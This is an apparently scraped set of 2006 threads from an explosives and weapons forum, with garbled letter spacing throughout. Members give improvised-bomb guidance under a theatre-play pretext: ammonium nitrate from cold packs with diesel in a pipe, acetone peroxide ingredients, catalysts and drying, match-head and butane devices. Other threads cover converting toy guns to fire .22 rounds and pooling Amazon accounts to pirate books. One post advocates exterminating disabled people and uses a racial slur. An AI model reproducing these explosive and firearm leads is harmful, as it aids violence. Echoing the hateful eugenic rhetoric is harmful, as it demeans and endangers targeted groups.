I've got a bit of a curious question... W h e r e s h o u l d I p o s t a b o u t n o n - l e t h a l d e v i c e s ? I ' m t a l k i n g a b o u t h o m e m a d e
peppersprayers, flashbanggers, rubber bullets, and the like. Some of these things involve s o m e chem istry ( a flashbannger
uses flash poweder, in a way and of a variety, right?) but m any don't. Yet they don't seem t o b e t h e s a m e thing that people
are talking about (or interested in) in the Tools Techniq u e s a n d P l a n s s e ction... And they're not really im provised weapons,
either. (At least, not any more than anything else that people here would be m aking...)
I just don't want to waste anyone's tim e.
Thanks.
Edit... I'm not usually a bad speller. My bad. :)
nbk2000 August 12th, 2006, 12:32 PM

Trying spelling 'leathal' correctly before asking anything m ore co mplex like where to put it. ;) :D

Trying spelling 'leathal' correctly before asking anything m ore co mplex like where to put it. ;) :D
You mean "Try spelling" :D .
the_twitchy1 August 12th, 2006, 01:34 PM

I knew m y first post shouldn't have been m a d e b e f o r e I h a d m y m orning coffee... ;)
But, now that the errors in spelling have been fixed, any suggestions? I'm guessing that the best place would be im provised
weapons, as it's the closest fit. It still doesn't feel right, as there's nothing 'im p r o v i s e d ' a b o u t s p e n d i n g a m onth putting
together a nice, com pact, potent pepper spray bom b, but it is a homem a d e d e v i c e .
Anyway, I guess it's not a big deal, but like I said, I don't want to waste anyone's tim e. I know how annoying it can be m oving
a thread around beca use it doesn't fit into the area that it was placed.
Edit: As well, I was going to m a k e t h e s u g g e s t i o n t o a d d a " s p e l l c h e c k " b u t t o n t o t h e p o s t i n g a r e a ( a s I ' v e s e e n i n f o r u m s

before), but upon further rese arch I've discovered that the support for the spellch e c k f e a t u r e h a s b e e n r e m oved from the
newer versions of vBulletin, so it's not available anym ore.
Guess I'm stuck using Word to spellcheck my posts. Ah well.
nbk2000 August 13th, 2006, 12:45 AM

S a u s a g e m eat, you obviously failed to see the irony in my post. :p
P e p p e r s p r a y f o r m u l a t i o n s g o e s in Battlefield ch emistry, with the devices to disperse it going in the Im provised weap o n s
section.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > The conversion of m o d e l / t o y
guns.
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rollinground August 13th, 2006, 10:52 AM

Hi all,
I have read several a rticles about how in japan quite com monly the PFC m odel guns are converted .
I can see in theory how it could work in a metal revolver that was say .38, I think you could make a metal m odel into a .22 by
using steel inserts in the cham bers to accomad ate a .22 round, you would probbaly also n eed to m ake rimfire breech block
that could then fit inside the insert.
Have a look at lothar walther or any other "barrel inserts".
The model/toy guns I am talking about can be found here if you would like to have a look.
www.modelguns.co.uk
Now in theory the metal inserts in the chamber should be able to take most of the pressure on its own.
The barrel of the m odel could be drilled out if needed a nd a barrel sleeve inserted.
I dont know how they did do it but im guessing its along those lines.
I have no idea if what I have described would work.
I was wondering if one could adapt a "heavyweight abs and zinc" derringer type, yeah all the parts are much to weak on their
own but what if you used a barrel sleeve, and used the steel inserts/adapters to turn it into .22 do you think it would be able to
withstand the pressure?
The insert is the brea chblock and firing pin which the po t m e t a l h a m mer would hit, so if the inserts could withstand the
pressure would this work? And a reinforced barrel sleeve or even a barrel that could fit? In my head in theory it would work, as
the pressure created would be held within the inserts an d the new barrel.
I dont know m u c h a b o u t p r e s s u r e s e t c a n d I ' m l e a r n i n g s o I m i g h t b e c o m pletely wrong, I was wondering what you guys thin k,
could it work in theory or much more likely to just blow up?
+++++++
Notice the text in bold? Do you understand why it is the way it is NOW and not the way it was when you first posted it?
Understanding brings life. Ignorance brings death.
NBK

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Support the Theatre (with
explosions)
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JinGene August 16th, 2006, 02:53 AM

D e a r E x p l o s i v e s a n d W eapons Aficiona d o s :
I h a v e a b i t o f a n u n u s u a l r e q u e s t . I a m with a t h e a t r e com p a n y that is creating a p l a y a b o u t a p r i s o n b r e a k . I t s a bit

complicated to go into, but pu t sim ply, the plot calls for the prisoners (actors) to take hostage a prison tour group (the theatre
audience) by using an explosive device. The device would autom atically detonate if the person holding it dropped it.
W e are (obviously) not looking to actually make said device, but we are looking for a reasonable sounding explanation for how
t h e p r i s o n e r s c o u l d h a v e m a d e a n e x p losive out of m aterials one m i g h t f i n d a t a p r i s o n . D o e s a n y b o d y h a v e a n y i d e a s ?
At least one o f t h e p r i s o n e r s h a s e x t e n s i v e c h e m istry knowledge ( unlike any of u s t h a t s wh y we r e a s k i n g t h i s q u e s t i o n ) .

T h e y c a n h a v e b e e n p r e p a r i n g t h e i r e s c a p e f o r a y e a r o r t w o , s o n o v e l s olutions requirin g m onth s t o f i n i s h a r e p o s s ible (e.g.
gradually scraping m etal shavings off of their furniture, intentionally decomposing som eth ing over time, etc).
I t s a p r o g r e s s i v e p r i s o n , s o i f i t h e l p s , a s s u m e they ca n have access to things which m ig ht be slightly unusual at m o s t
p r i s o n s i.e. art workshops (if, for instance, paint chemicals could be useful), g r e e n h o u s e g a r d e n s , e v e n c h i c k e n s ( m anure
perhaps?).
T h e e x p l o s i v e d e v i c e n e e d s t o h a v e b e e n m ade by the prisoners in full view of surveillance cam e r a s , p r e t e n d i n g t o d o
s o m e t h i n g e l s e . P e r h a p s m a k ing an art project in art therapy class, or cu ltivating their personal garden, or taking a shower,
etc.
W e d o n t actually want any in-depth inf orm ation just a general plan which a lay audience would find plau s ible.
So, does anybody happen to have any thoughts?
Thanks to any and all who reply!
TreverSlyFox August 17th, 2006, 09:28 AM

Hm m m m m m , interesting plot.
I think the easiest explosive would be ANFO (Am onium Nitrate & Fuel Oil). The Amonium Nitrate co uld com e from th e prison
hospital. I im agine the prison hospital would have a few "Instant C o l d P a c k s " o n h a n d , t h e k i n d w h e r e y o u p o p a n i n t e r n a l
"bubble" and the pack gets cold. The pack contains Amonium Nitrate in uncoated prill form that ab sorbs the liquid in the
bubble when broken. So there is the source for the Am onium Nitrate.
I'm sure the prison has a Diesel engine buss or other vehicle in the motor pool so there is the sou rce for the Fuel O il (#2
Diesel). So there you have the basic explosive material, then just combine it with some pipe from the maintainance s h o p a n d
y o u h a v e a g o o d o l d " p i p e b o m b".
T h e n e x t p r o blem i s y o u n e e d a " d e t o n a t o r " t o s e t o f f t h e A N F O " b o m b " a n d A P ( A c e t o n e P e r o x c i d e ) i s t h e n e x t c a n a d a t e f o r a

detonator or as the explosive itself. Acetone is a solven t a n d " c o u l d " b e f o u n d i n t h e m a i n t a i n a n c e s h o p o r i n p a i n t s u p p l i e s a s
a cleaner. Peroxcide "could" be found in the prison hospital and the last chem ical you'ed need is Sulfuric Acid which is found in
m any "drain cleaners" so back to the maintainance shop.
S o t h e r e y o u h a v e 2 p o s s i b l e c a n a d a t e s f o r a n e x p l o s i v e w h o s e c h e m icals "might" be found in a prison. I'd try for the AP since

it doesn't need a detonator, b ut AP in quantity is really touchy stuff. As far as mixing it up in a prison goes, every prison has
"blind spots" where cam e r a s d o n ' t s e e a n d g u a rds aren't around all the time, so you don't need to come up with a way for
t h e m t o m ix it up in plain view.
R e a d u p a l i t t l e o n b o t h e x p l o s i v e s a n d c h o o s e the one or both you want to use.

As y ou didn t f o l l o w t h e r u l e s y o u c o u l d g e t b a n n e d , b u t I p e r s o n a l l y d o n t think nbk will b e c a u s e y o u r p o s t i s n t t h e u s ual "How
d 0 I m ak Da BoMz?!?!?!" post k3wLs get banned for.
T h e r u l e s s a y t h a t y o u should d o a s e arch bef o r e pos ting (you probably wouldn t b e a b l e t o s i n g l e t h e r i g h t e x p l o s i v e o u t

from a search), and contribute som eth ing before m a k i n g a request (having little knowledge in the forum you probably
wouldn t h a v e a n y t h ing to co ntribute).
the last chem ical you'ed need is Sulfuric Acid which is found in m any "dra in cleaners" so back to the mainta i n a n c e s h o p .
As a catalyst.
For A P m a n y other catalyst s c a n b e u s e d other than s ulf uric acid, which would probably be m ore likely to be f o u n d i n t h e
prison, eg. Hydrochlo ric acid, citric acid (I think ), but th a t s o n ly if it was neede d t o b e m a d e q u ickly.
AP actually d o e s n t n e e d a c a t a l y s t , it would just take days or we e k s f o r t h e e x p l o s i v e t o f o r m .
Hydrogen peroxide (H2O2) could be found as lots of products: In-wash bleach, cleaning product, p ool chem ical and probably
m ore.
Another source of am monium nitrate could be as a fertilizer, some fertilizers are almost pure AN.
T h e a c e t o n e c o u l d a l s o c o m e from, nail polish remover or evaporating and condensing the fum es of white out (liquid paper) or
p e r m a n e n t m arkers, although that would get a bit far fetched.
I n s t e a d o f A N F O y o u c o u l d u s e A P A N ( a c e t o n e p e r o x i d e + a m m onium nitrate), or even ANSO Y ( a m monium nitrate + soy oil).
I f i t n e e d s t o b e d e t o n a t e d f r o m im pact, you c o u l d u s e A P ( s e n s i t i v e , l e f t acidic), or Arm strong s m ix t o s e t o f f t h e A P .
Arm strong s m ix is a m ixture of a chlora t e ( i n t h e c o a t i n g of m atch heads ), and r e d phos p horus (o n m a t c h p a d s ) .

It used to be playing cards we r e m a d e f r o m nitrocellulose. I rem e m b e r a story where a prison inm a t e u s e d a f e w d e c k s t o
m ake an explosive device.
Since this theatrical, don't put too m uch thought into the "how" as you would the end result. A bottle of gasoline with a 9 volt
battery igniter... Perhaps a reactive drug nicked from the infirm ary that d etonates on contact... This is called a two component
e x p l o s i v e m ixture, and they a re fairly com mon. Tip the drug too far (setting it down say) and it m ixes with the gasoline
boom !

I think the m o s t p l a u s i b l e , a n d e a s i l y u n d e r s t o o d e x p l o sive for the audience, would be go od 'ol powdered m atch he a d s .
If a prisoner could ge t a hold of perhaps 10-15 b o x e s o f w o o d e n m a t c h e s, then the chemicals on the head could be fairly
easily scrape d off and powdered finely.
I h a v e p l a y e d a r o u n d with powdered strike-anywhere m atch heads, and can honestly say they are m ore powerful than the best
black powder I could m ake ever was.
A steel capped pipe packed with 'm atch dust' would be the m o s t p l a u s i b l e e x p l o s i v e , i n m y o p i n i o n .
nbk2000 August 26th, 2006, 04:29 AM

Matches are prohibite d in all the prisons I've been in.
Lighters are m ore comm only allowed.
Butane FAE in a plastic garbage bag with crushed m isch metal incendiary (powdered lighter flint) would be technically feasible.

If th ese are fairly resourceful convicts, you'd think they'd be able to smuggle in som e m atches, no ?

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > C h i n e s e a lleged to harvest
organs from Falun Gong practitioners
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Davo August 16th, 2006, 12:19 PM

T h o u g h t y o u g u y s m ight be in terested in this. Feel free to move it to "issues and opinions"
I saw this on the TV last night http://www.abc.net.au/lateline/content/2006/s1715 843.htm
Apparently in China d o n a t i n g o r g a n s a f t e r d e a t h i s a t a b o o a m o n g s t t h e p o p u l a t i o n , s o t h e government turns to prisoners.

Only problem is that "normal" criminals are usually too m alnourished by the time they are executed for their organs to be of
any use. So where do they turn to? Persecutable m inorities of co urse. Apparently when organ transplants are in high dem a n d ,
falun gong practitioners tend to disappear in China. Unlike other prisoners at C hinese Gulags, political prisoners have their
h e a l t h , b l o o d g r o u p e t c m o n i t o r e d i n c a s e s o m e o n e m o re im portant needs a kidney transplant

Note to self: don't do anything illegal in china!!
I like my org a n s .

S o u n d s l i k e a n u r b a n l e g e n d t o m e, but if Lateline ABS says it is so, who am I to argue? I would not put it past the Chinese.
They can harvest the bad half of the population to keep the good half alive. How very practical, creepy, but practical.
Ethics aside, these types of eugenics programs have very solid and logical grounding. I am all for exterm in ation of retards,
sterilization of the m entally inferior, prom oting breeding between the best and brightest, universally applied death penalties
for the violent, abolition of the welfare state, and letting anyone who wants to die, die.
Technically I dont support any of these things, but only in an idealized, or highly efficient, society where there are ample
reso urces to care for the m a s s e s . W h y s p e n d m oney on welfare for the lazy when you have children who cant read? W h y s p e n d
m oney on ch ildren who cant read when they can best be made into laborers?
W ith am p l e m oney to care for all the sick, to provide intense psychological care for the crim inally m inded, to provide job skills
training to all the niggers, and com plete free range entertainment for all the m ongoloid spawn of the retarded, I say go for it.
Unfortunately we do not have those kinds of resources yet, not even if we taxed the wealthy into poverty. T he m ost practical,
not ethical, humane, decent, or kind, but practical m eth od is to exterm in a t e , e x t e r m i n a t e , e x t e r m i n a t e . H a r s h , b u t n a t u r e
d e p e n d s o n t h i s . T h e w e a k a r e c u l l e d s o t h e s t r o n g m ay proliferate.
nbk2000 August 18th, 2006, 08:47 AM

W hy Mega...that philosophy sounds dangerously close to National Socialism ! :D

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Am a z o n d ownloading group
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Hemisync August 16th, 2006, 03:11 PM

For those that are not aware Amazon.com has scans of 1,000s of entire books.
I f y o u h a v e b o u g h t b o o k s f r o m Am a z o n , a n d u sed a credit card, you can access the "Search Inside " feature.
Of course Am a z o n h a s put lim its on how m u c h o f a b o o k y o u c a n d o w n l o a d .
If several people co-operated it would be easy to download entire books.
F o r e x a m ple, I saw the entire chapter on lockpicking fro m Locks Safes and Security that som e o n e h a d m a n a g e d t o collect and
post on Rapidshare.
That was alm ost a bo ok in of its self.
Several chapters of Fingertip Firepower: Pen Gu n s , K n i v e s , A n d B o m b s w e r e a l s o p o s t e d t o R a p i d h a r e .
If you want to see what I am talking about, go to amazon.com and try a search for authors like J. David Truby, John Minnery,
Uncle Fester,and a lot of other authors from L o o m p a n i c s a n d P a l a d i n .
Ultimately I would like to join with others who have an a c c o u n t o n A m a z o n .

They could download som e material th at I wanted, I would in turn download what they wanted. It would be done on a page for
p a g e b a s i s . T h e m o r e y o u c o n t r i b u t e , t h e m ore you would get. No one would get access who did not contribute.
Ropik August 16th, 2006, 05:18 PM

I b o u g h t b o o k s o n l y f r o m Germ an Am azon, which is pro bably of no use. But if som ebody would have the Fingertip firepower
chapters, I would be very grateful for them . Can I be of any help otherwise than collecting pages? I am not m otivated solely by
t h e s e b o o k s ; I t h i n k i t i s a n e xcellent idea.
nbk2000 August 16th, 2006, 05:48 PM

Regarding LSS, why b other with attem pting to download a lo-res version when you can buy a hi-res scan from m e ? : )
http://www.roguesci.org/theforum/links-literature/5536-locks-safes-security-2nd-ed.htm l
I ' d o n l y s u g g e s t d o i n g A m a z o n r i p p i n g if there was NO other alternative to getting a book, as the tim e put into it must be
enourmous compared to borrowing the book and scanning it in directly.
U n l e s s t h e r e ' s s o m e trick I'm not aware of?
Hemisync August 16th, 2006, 07:21 PM

O k , h e r e i s a f r e e s a m ple from Locks Safes and Security
Its Chapter 29 on lockpicking. It was d ownloaded from Am azon search in side service.
It to ok about an hour to grab the jpgs and do the pdf file. (104 copied links)
I a s k t h e l e a r n e d m e m bers of this forum .... Is it good enough for sharing ?
http://rapidshare.de/files/296 6 7 2 0 9 / 5 5 5 5 2 7 4 1 75.pdf.htm l
pw= www.roguesci.org
nbk2000 August 17th, 2006, 09:33 PM

The password doesn't work for the ###175.pdf file.
Bugger August 22nd, 2006, 07:39 AM

O k , h e r e i s a f r e e s a m ple from Locks Safes and Security
Its Chapter 29 on lockpicking. It was d ownloaded from Am azon search in side service. It took about an hour to grab the jpgs
a n d d o t h e p df file. (104 copied links). I ask the learned m embers of this forum .... Is it g o o d e n o u g h f o r s h a r i n g ?
http://rapidshare.de/files/296 6 7 2 0 9 / 5 5 5 5 2 7 4 1 75.pdf.htm l
pw= www.roguesci.org
This link has been broken already, within 5 days. Please re-uplo ad, or I would like to receive an em ailed copy.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Pipe Bomb Arrest
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Explosives Arrest
The Nebraska State Patrol has arrested one man and is still looking for three others in connection with an illegal homemade explosive that was found just after the Fourth of
July.
The explosive was found un-detonated on July 5, and now 27-year-old Jason Diaz of Bellevue faces Felony charges.
Warrants have also been issued for 29-year-old Gary Mangiameli of Omaha, 28-year-old Terry Diaz of Omaha, and 36-year-old Craig Cox of Papillion.
The four are accused setting off homemade explosives on the Fourth of July. They are also believed to have built the un-detonated device that was found later.
It was described as a six inch pipe bomb made out of PVC pipe and packed with sparklers.
The OPD Bomb Squad had to be called in to remove and safely detonate the device after it was found near 52nd and Timber Ridge Drive in Sarpy County.

OMFG! A plastic tube filled with sparklers! EVACUATE!
You can tell by the terror watch words the gov's are like totally serious dudes... illegal homemade explosive!
Felony charges!
homemade explosives!
un-detonated device!
pipe bomb!
Bomb Squad had to be called in!
And what terrorist holiday was this highly explosive device supposed to be detonated on? Why the 4th of July, not to be confused with Independence Day where we celebrate
our freedoms, but 704, which is to be comparable to 911.
Where is Senator Clinton when you need her? We need emergency legislation NOW to ban these sparklers! What if children got a hold of these? Oh wait...

This is the stupidest article I ve ever seen. Even an average person would know that 'bombs' cant be made from sparklers, and the police (should know better) are
arresting people.
Children make these all the time. Ive made at least 6 when I was younger, the police wouldnt be able to do shit, why would they bother trying to charge anybody?
Could you give a source for this mega?

I am not sure which news service originally had the story, but here is another article from a few days ago...
http://www.ketv.com/news/9690158/detail.html
This is from KETV7 in Omaha, Nebraska
OMAHA, Neb. -- The Nebraska State Patrol has arrested one man and issued arrest warrants for three others in connection with the discovery of an homemade explosive last
month in Sarpy County, according to a news release.
Jason Diaz, 27, of Bellevue was arrested Tuesday. He's facing charges of possession of an explosive device and use of an explosive to damage property.
On July 5, the patrol, the Sarpy County Sheriff's Office and the Omaha Bomb Squad were called to the area of 52nd Street and Timber Ridge Drive in Papillion. The patrol was
contacted by an individual who had been picking up debris from the neighborhood area and discovered an unexploded device in the field.
NSP investigators describe the unexploded device as a pipe bomb, containing sparklers as its means of explosives. Only one undetonated device was discovered in the field.
The remnants from other exploded devices have been found and damage to a public sign in the area was discovered.
Arrest warrants were issued Tuesday for Gary Mangiameli, 29, and Terry Diaz, 28, both of Omaha, and Craig Cox, 36, of Papillion. Mangiameli and Cox are both wanted on a
felony charge of possession of explosive materials. Diaz is wanted on possession of an explosive device and use of an explosive to damage property. Sarpy County authorities
expect the three to turn themselves in on Thursday morning.
nbk2000 August 21st, 2006, 02:45 PM

Perhaps they were acting k3wL with their 3LL+ bomb, blowing them up in a public area and attaching them to signposts.
A lot of it has to do with the way you behave.
Sausagemit August 21st, 2006, 09:47 PM

This is the stupidest article I ve ever seen. Even an average person would know that 'bombs' cant be made from sparklers, and the police (should know better) are
arresting people.
I wouldn't call it a bomb especically from the lack of dangerous schrapnel. But I do have to say that the 4th largest shockwave I have ever felt was from a "sparkler explosive".
No. 1 and 2 are both filled by professional mining ANFO explosions and No. 3 is filled by a grain elevator exploding in Scottsbluff Ne (http://www.meigsmagnet.org/~franklint/
Tennessean%20article.html). I was a good mile away from No. 3 and I could still feel the pressure on my face and ears.
A friend who's family ran a fireworks stand snagged about $50 worth of sparklers and proceded to duct tape them together as tight as he could. When it was done it was a
good 4-5 inches in diameter. I would have to say that the intesity of the shockwave was due to the proximity to the device. And very unpractical for the price but still fairly
awsome.
I still wouldn't call it a bomb though.
c.Tech August 22nd, 2006, 03:13 AM

That so called 'bomb' looks more pathetic than I thought.
I never knew any kind of explosion could come from sparklers. The ones, at least in my area are practically harmless. Filling a can with them doesnt do anything but shoot
high sparkly flames in the air.
Farm safety specialist Tollin Schnieder of Davey said fine airborne sugar dust, like grain dust, can ignite explosively.
And here is an example. http://rapidshare.de/files/31761381/Demo_Dust_Explosion.wmv
nbk2000 August 22nd, 2006, 09:03 AM

The word 'Bomb' has different meanings to different people.
Sheeple and soccer moms aren't going to know the difference between a road flare with an alarm clock taped to it, and a MK84 2000 pound GP bomb with a JDAM Block 2
HTF.
Both are equally scary because they are ignorant of the capabilities and limits of both.
Like when entire apartment complexes are evacuated because someone has a few tablespoons of wet AP in their fridge. :rolleyes:
To us and others 'in the trade', such a thing would be placed in a paper bag to be carried to a fire for disposal.
The JDAM is a BOMB and FAR more powerful, but is also far safer to handle (assuming it wasn't dropped on purpose) than anything homemade will ever be, so is to be feared
even less than the AP. (also, because if it did go off, you will not feel it. :p)
Diabolique August 22nd, 2006, 05:48 PM

NBK: the idea behind evacuating the entire appartment house is not safety, but to disrupt everyone's routine and make the sheep feel they, the government, is doing their job
of protecting them from 'terrorists'. So the cops take the opertunity to run around with their stiffies every chance they get (weapons in erection, looking macho and ready for
nothing - I know, my brother and brother-in-law are cops in NYC and on LI).
The 'terrorists' they nailed for planning to blow up planes by making TATP and HMTD on the plane remind me of the joke of the ignorant terrorist who was told to blow up a
car, and ended up in the hospital after burning his lips on the tailpipe. Both triacetone triperoxide and hexamethylene triperoxidediamine take longer to make that the flight is in
the air. I do not know if these people should be locked away for being terrorist wannabies, or to protect them from themselves.
The newspeople are all over themselves because these people had deadly hydrogen peroxide. I guess blondes are about to become an endangered species.
nbk2000 August 23rd, 2006, 02:58 AM

Oh, I know the reason for the drama.
If one guy carried the stuff out in a paper bag, the taxpayers wouldn't be afraid, nor would they feel their taxes well spent.
But when the block is evacuated, and a squad of moon-suited men use robots to carry the stuff out one...bottle...at...a...time, all day long, with flashing lights and armored
police with rifles at the ready....well, thank GOD for the POLICE who've saved us YET AGAIN from Eviillll.
Why, no amount of taxes is TOO much to pay for such FINE protection. :p
c.Tech August 23rd, 2006, 08:44 AM

Both triacetone triperoxide and hexamethylene triperoxidediamine take longer to make that the flight is in the air. I do not know if these people should be locked away for
being terrorist wannabies, or to protect them from themselves.
Although still extremely farfetched, AP takes less time to make than a flight to America from the UK. The yield probably wouldnt be too good but after a matter of
hours the peroxide forms, with more forming later.
Now the drying of the peroxide would be harder but still possible. Washing the crystals with ethanol or methanol would let them dry faster, but Ive noticed, from my
attempt that it would probably still take a good 20 minutes.
Originally I herd they were going to use MEKP, I dont know very much about this explosive but Im assuming that it would be easier to separate from the water as its
an insoluble liquid.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Bombing cases often take longer to solve
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ALAN GUSTAFSON and DENNIS THOMPSON
Statesman Journal
August 17, 2006
New York City's "Mad Bomber" left dozens of bombs in crowded public places during the 1940s and '50s. He was nabbed in 1957, ending what a police commissioner called
"the greatest manhunt in the history of the police department."
It took almost 20 years for federal authorities to catch Theodore Kaczynski, the infamous Unabomber, who mailed pipe bombs and other homemade explosives to his victims
from 1978 to 1995.
And Salem police never made an arrest in connection with a spate of tennis-ball bombs that showed up in late 2000 and early 2001.
Now, many people are wondering when -- or whether -- the person or people who planted four pipe bombs on Salem vehicles Aug. 10 will be brought to justice.
Bomb experts said that it's too early to conclude that a task force investigating the case is stymied or to assume that the attempted bomber will elude arrest.
"Remember how long we took to solve the Unabomber?" said Jimmie Oxley, a University of Rhode Island chemistry professor who is recognized as a national expert on pipe
bombs.
Kaczynski, 64, is serving a life sentence for his 17-year bombing campaign.
It's that sense of continuing menace that makes investigating a bomber different from tracking a robber or other types of criminals, said Oregon State Police Sgt. Steve
Sigurdson, who has spent 18 years on the bomb squad.
"If you have someone out there who could still be building devices, there's an expediency toward finding and arresting that person quickly," Sigurdson said. "That's why this is
an extreme public-safety issue; any information people can provide is extremely useful. You may think what you saw was nothing, but it could actually be a key piece of
information investigators need."
Four bombs were found Aug. 10, two still wired to the undercarriages of sport utility vehicles and two on the ground that authorities presume fell from vehicles.
Officials said that all four bombs were capable of killing people and were made by the same person or people. Police bomb squads rendered them harmless. In one instance,
disabling a bomb produced an explosion that sent a cloud of debris at least 50 feet in the air, witnesses said.
Oxley, who has conducted pipe-bomb research and consulted with the U.S. government on terrorism issues, said Salem's attempted bombings appear to have been an odd
blend of malicious intent and danger, along with possible bungling.
"This one sounds deadly. To me, it sounds unusual that there would be four on the same day," she said. "What's odd, though, is the fact that they were unsuccessful, that one
out of the four didn't cause death. So either the person is very inept or intended to be unsuccessful. If so, it's hard to believe that they would open themselves up for such a
catastrophic criminal charge."
Former FBI agent John Walzer agreed.
"Whoever is doing this, they're on a mission," said Walzer, who now acts as a regional director for Fortress Global Investigations, an international security consulting firm. "Four
pipe bombs; they gave a lot of thought to it."
The fact that there were four bombs and four potential victims improves the chances of nabbing the perpetrator, Walzer said.
"If there was just one victim, one bomb, you'd have less to work on," Walzer said.
Investigators can look for common threads between the bombs and the potential victims and trace those commonalities back to the bomber.
Evidence has been turned over to a California laboratory run by the U.S. Bureau of Alcohol, Tobacco, Firearms and Explosives.
Most bomb cases are evidence-driven, police said. Unlike a robbery, in which little physical evidence is left behind, the act of leaving a bomb provides investigators with a
treasure trove of information.
"There's going to be all the parts we have to look at," said Salem police Sgt. Bob Beverly, who has led the city's bomb squad for eight years. "We look at every piece and see
how it's put together. It'll give us some kind of clue as to what the bomber was thinking and their level of sophistication."
Whether significant evidence was lost during the bomb-dismantling process is hard to tell, Oxley said.
"It's always counterproductive from an investigative standpoint if they blew them up," she said. "But a lot of times, there are other considerations, like safety. This is always an
issue between bomb squads and forensic labs. If you have to blow them up, sometimes it doesn't leave much to analyze. Presumably, they took lots of photos of them so
they're looking at their physical characteristics."
The officers in this case have a mixed bag of evidence available to them. The bomb found at the Roth's grocery store on Lancaster Drive NE exploded while state police worked
to disarm it, but a bomb found in a parking garage at Salem Hospital was disarmed intact by Salem police, Beverly said.
Both bombs still will yield clues, but the one recovered from the hospital and the two others recovered intact from other locations will be more valuable to the investigation.
"Our crime scene was basically the size of a parking space," Beverly said of the hospital-garage site. "The state police crime scene was three blocks square. All the parts are
there; they're just smaller and farther apart."
Additional aspects of the investigation probably include checking with Salem-area stores about recent purchases of materials that might have been used to make pipe bombs
and exploring links among the targets, Oxley and other experts said.
So far, the only common thread is that three vehicles came from South Salem, police said. A fourth potential victim remains unknown, and that person might not have known
that a bomb fell off his or her vehicle.
In many bomb cases, police also have to contend with copycat criminals. For example, several arrests of copycats were made during Salem's tennis-ball-bomb scare. All of the
arrests were of teenage pranksters.
Copycat bombers generally don't hamper the investigation of the original crime aside from slowing down the police officers who then must track down and arrest the copycats,
Beverly said.
"Generally speaking, the copycat isn't going to know all the ins and outs," he said. "There are going to be some differences in bomb design we're going to be able to see.
They'll be apprehended and prosecuted, but no one will mistake them for the original bomber."
As they enter the second week of the case, Salem police and the ATF are offering a $5,000 reward for information leading to an arrest and a conviction. Special agent Julianne
Marshall said the ATF remains committed to the inquiry.
In 1957, detectives tracked New York's "Mad Bomber," George Metesky, to his home in Waterbury, Conn., where they found bomb parts.
Diagnosed with paranoid schizophrenia, Metesky spent 17 years in a hospital for the criminally insane. Freed in 1973, he lived quietly until he died in 1994.
In the annals of notorious pipe bombers, Kaczynski, who killed three people and injured 29 with his homemade bombs, stands out from the rest, Oxley said.
"Certainly, the Unabomber is the most well-known guy for doing pipe bombs," she said. "His were unique in that he made everything himself. He made his own screws. He
experimented with his chemicals in making them. In the end, he evidently was signing his bombs with some sort of a little signature so that nobody else could claim his
bombings."
The "Unabomber" moniker was coined long before Kaczynski, a former math professor, was caught. It was derived from his initial targets: universities and airlines.
This month, an odd postscript was added to the Unabomber saga: a California judge ruled that items seized during a 1996 raid on Kaczynski's Montana cabin will be sold
online. Items will include books, clothing and tools. People won't be able to buy about 100 bomb-making items that were confiscated.
The proceeds of the sale will help fund the $15 million compensation package that Kaczynski was ordered to pay his victims.

Uh oh, the cops are totally inept at doing their job, so its all the wily bombers fault. Lets compare everything to the unibomber. Of course it may have nothing to do with the
fact Ted was a highly intelligent and determined individual who didnt post about his deeds on MySpace.
Ted Ks MySpace blog

I Roxxorrr da 111! I am L33t, beyaches. I totally have mad bomz skillz. I mailed some bomz made of momz clotspins last night. I rulezzz!
When I envision a tennis ball bomb I am thinking of an explosive packed ball with a small internal detonator. In reality I know what the cops call a bomb is probably a tennis
ball soaked in gasoline. It sent debris 50 feet high when accidentally detonated! Yeah, I can do that with a Roman candle, but does that mean it is dangerous? Notice they
didnt say the bomb squaddy got hurt, so I am inclined to think: Roman candle.
Ahh, but of course they save face by saying the bomber bungled the job. Really? How could taping tennis balls to the undercarriages of SUVs possibly go awry? Its almost as if
these deadly devices of mass destruction were in fact some sort of pyrotechnic oddity made by a kewlish amateur, and not the products of a MIT educated domestic terrorist.
Say it isnt so!
The only good part of this story is the up coming sale of Ted Kaczynskis seized property from his shack. Just what do you get the pyro with everything?
Chris The Great August 18th, 2006, 02:51 AM

Tennis ball bombs are just a tennis ball filled with match heads. They explode when thrown with great enough force. Of course, they certainly don't explode with a lot of force.
K3wlery at it's best (worst?).
megalomania September 19th, 2006, 06:17 PM

Notice the transition in this story between a "tennis ball bomb" to a full fledged "pipe bomb." There is a follow up story where the fedgov is whining about their lack of
progress. How can they request more financing if they can't even so much as get a lead on the motive?
Police still seek leads after pipe bombings
Local and federal investigators vow to stay on the trail
ALAN GUSTAFSON
Statesman Journal
September 17, 2006
It was an extraordinary case that rattled the community: four pipe bombs planted on Salem vehicles, all discovered the same day.
And it was a case that sparked an intensive multi-agency investigation.
But more than a month after the pipe-bomb scare began, it remains a confounding, unsolved crime.
Investigators concede that they have no suspects or solid leads; no help came from a $5,000 reward offered for information leading to an arrest and conviction.
Public tips and phone calls about the case have "kind of petered out," Salem Police Lt. Bill Kohlmeyer said.
Local and federal officials insisted that they aren't discouraged by lack of progress, and they aren't pulling the plug on the investigation, which started Aug. 10.
"I wouldn't say the trail's gone ice-cold," Kohlmeyer said. "These serial-bomber cases can take a long time. The detectives are following some loose leads and hoping for
more."
It took federal authorities more than five years to catch serial bomber Eric Rudolph, who was linked to three bombings in Atlanta -- a deadly explosion at the 1996 Olympic
Games and a pair of 1997 blasts at a lesbian nightclub and a health clinic that provided abortions. Last year, Rudolph was sentenced to four consecutive life terms plus 120
years in prison.
Salem's serial bomber still is being hunted by a task force jointly led by Salem police and the federal Bureau of Alcohol, Tobacco, Firearms and Explosives.
Special Agent Julianne Marshall, an ATF spokeswoman in Seattle, said the lack of a quick arrest doesn't mean the investigation is doomed.
"It's not abnormal," she said. "Of course, we wish we had someone in jail right now. But all we can do is give it total diligence. We take this very seriously."
At what point does the ATF withdraw from the case?
"We won't," Marshall said. "This is a joint investigation, and we're committed to giving all the resources that are appropriate to try to solve this crime."
No one was injured by the bombs, which all failed to explode. Police bomb squads rendered them harmless. In one instance, disabling a bomb produced an explosion that sent
a cloud of debris at least 50 feet in the air.
